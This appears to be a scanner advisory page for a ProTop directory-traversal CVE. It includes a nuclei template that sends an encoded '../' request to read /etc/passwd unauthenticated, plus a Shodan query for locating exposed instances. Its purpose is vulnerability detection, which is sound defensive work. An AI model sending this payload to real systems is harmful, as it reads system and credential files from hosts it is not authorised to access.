White Star Software ProTop - Directory Traversal

highseverity

8.2CVSS score

4.4%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability was discovered in White Star Software Protop version 4.4.2-2024-11-27, specifically in the /pt3upd/ endpoint. An unauthenticated attacker can remotely read arbitrary files on the underlying OS using encoded traversal sequences.

Impact

Unauthenticated attackers can read arbitrary files from the operating system through encoded traversal sequences in the /pt3upd/ endpoint, potentially exposing sensitive configuration and credential files.

Fix

Upgrade White Star Software ProTop to a version after v4.4.2-2024-11-27.

How to confirm it

Send: GET /pt3upd/..%2f..%2f..%2f..%2fetc%2fpasswd
Positive when: matches /root:.*:0:0:/ AND contains in header "application/octet-stream" and "filename=\"passwd\"" AND status 200

Run it with nuclei: nuclei -id CVE-2025-44177 -u <target>

The full check

id: CVE-2025-44177

info:
  name: White Star Software ProTop - Directory Traversal
  author: s-cu-bot
  severity: high
  description: |
    A directory traversal vulnerability was discovered in White Star Software Protop version 4.4.2-2024-11-27, specifically in the /pt3upd/ endpoint. An unauthenticated attacker can remotely read arbitrary files on the underlying OS using encoded traversal sequences.
  impact: |
    Unauthenticated attackers can read arbitrary files from the operating system through encoded traversal sequences in the /pt3upd/ endpoint, potentially exposing sensitive configuration and credential files.
  remediation: |
    Upgrade White Star Software ProTop to a version after v4.4.2-2024-11-27.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-44177
    - https://client.protop.co.za/
    - https://wss.com/
    - https://gist.github.com/stSLAYER/4a2ecfbab1215a0be0dde59c4ac0122d
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
    cvss-score: 8.2
    cve-id: CVE-2025-44177
    epss-score: 0.04433
    epss-percentile: 0.91457
    cwe-id: CWE-22
    cpe: cpe:2.3:a:wss:protop:4.4.2-2024-11-27:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: white-star-software
    product: protop
    shodan-query: html:"<title>ProTop"
  tags: cve,cve2025,lfi,traversal,protop,whitestar,vkev,vuln

http:
  - raw:
      - |
        GET /pt3upd/..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'

      - type: word
        part: header
        words:
          - 'application/octet-stream'
          - 'filename="passwd"'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from